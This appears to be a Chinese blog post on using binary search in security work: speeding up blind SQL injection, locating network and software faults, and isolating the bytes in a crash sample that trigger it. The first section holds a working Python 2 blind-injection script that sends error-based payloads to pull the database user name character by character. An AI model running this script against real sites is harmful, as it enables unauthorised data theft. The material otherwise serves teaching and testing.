分且舍之（二分）算法在网络安全中的应用
二分查找又称折半查找，它是一种效率较高的查找方法。二分查找对应的表，最好是有序表，即表中结点按关键字有序。
二分查找的基本思想是：（设R[low..high]是当前的查找区间）
（1）首先确定该区间的中点位置
（2）然后将待查的K值与R[mid].key比较：若相等，则查找成功并返回此位置，否则须确定新的查找区间，继续二分查找，
具体方法如下：
①若R[mid].key>K，则由表的有序性可知R[mid..n].keys均大于K，因此若表中存在关键字等于K的结点，则该结点必定是在位置mid左边的子表R[1..mid-1]中，故新的查找区间是左子表R[1..mid-1]。
②类似地，若R[mid].key<K，则要查找的K必在mid的右子表R[mid+1..n]中，即新的查找区间是右子表R[mid+1..n]。下一次查找是针对新的查找区间进行的。
因此，从初始的查找区间R[1..n]开始，每经过一次与当前查找区间的中点位置上的结点关键字的比较，就可确定查找是否成功，不成功则当前的查找区间就缩小一半。这一过程重复直至找到关键字为K的结点，或者直至当前的查找区间为空(即查找失败)时为止。
1.加快盲注：
在进行盲注时，我们通常需要通过测试ASCII码来获取字段，但以32位的Hash为例，在包含大小写字母、特殊字符时，需要32的72次方次查询。。。而基于二分查找，它的原理是把可能出现的字符看做一个有序的序列，这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。
比如如下常见注入语句: http://127.0.0.1/index.php?id=1' and ascii(substr((SQL语句),1,1))=ASCII%23
Ptyhon的二分查找源码：
[sourcecode language="plain"]
#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL, data):
#print URL
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, data, user_agent)
try:
request = urllib2.urlopen(req)
except HTTPError, e:
if e.code == 500:
return 'Runtime Error'
except URLError, e:
sys.exit(1)
return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if (right-left==1):
result += chr(right)
print 'user: ' ,result
break
payload = "1'%%2bextractvalue(1,if(ascii(mid(user(),%s,1)) not between 0 and %s,1,0x22))%%2b'" % (index, mid)
html = request('URL'+payload,None)
verify = 'Error'
if verify not in html:
left = mid
else:
right = mid
if __name__ == '__main__':
for i in range(1,27):
binary_sqli(32, 127, i)
[/sourcecode]
2.加快网络故障判断
在日常运维、应急响应的过程中，我们有时需要排查网络设施出现的故障。比如，下图来源于《Science & Technology Information》上的论文，是两个车站之间的信息交互系统。当如下的网络结构存在故障时，逐一检测每一个设备，显然太过耗时。我们如何更快的确认故障点呢？
采用二分法，同样是一个高效的解决方案。我们先设置好节点，将网络通道故障发生的区段中间分段开来，通过分析捕获的报文等。如果故障发生在“分界点”的左边，则继续在左侧设置分界点，而右侧同理。
这样的方法同样适用于软件层面，当我们的软件系统出现故障时，我们先禁用所有非系统自带服务和启动项。假设我们一共禁用了8个项目。
(1)启用4个项目，重新启动计算机。如果问题存在，则说明导致故障原因的是由我们刚刚启动的4个项目中的其中一个或几个引起的。如果问题不存在，则说明导致故障原因的是目前未启动的另外4个项目中的一个或几个。
(2)根据上面定位到的4个可能的问题项目，启动其中的2个，再次重新启动系统，如果问题存在，则说明导致故障原因的是此2个项目中的一个，否则是另外2个中的一个。
(3)重复上面的步骤，直至定位到导致故障原因的项目
3.二分法确认漏洞触发点
当我们拿到一个触发程序崩溃的样本时，我们会将他放入010editor等编辑工具中，去不断的提取出代码，反复测验，直到找到EXP。
而通过逆向分析找到引发拒绝服务的恶意代码的过程中，我们同样可以采用二分法，更快的捕获恶意代码串，如下图
当我们将样本代码分割为两份，测试Crash情况时，假设第一部分引发了Crash，我们直接抛弃第二部分，将第一部分再度分割为两份，如此反复，最终，大大提高了确定EXP代码的捕获速度。
官方 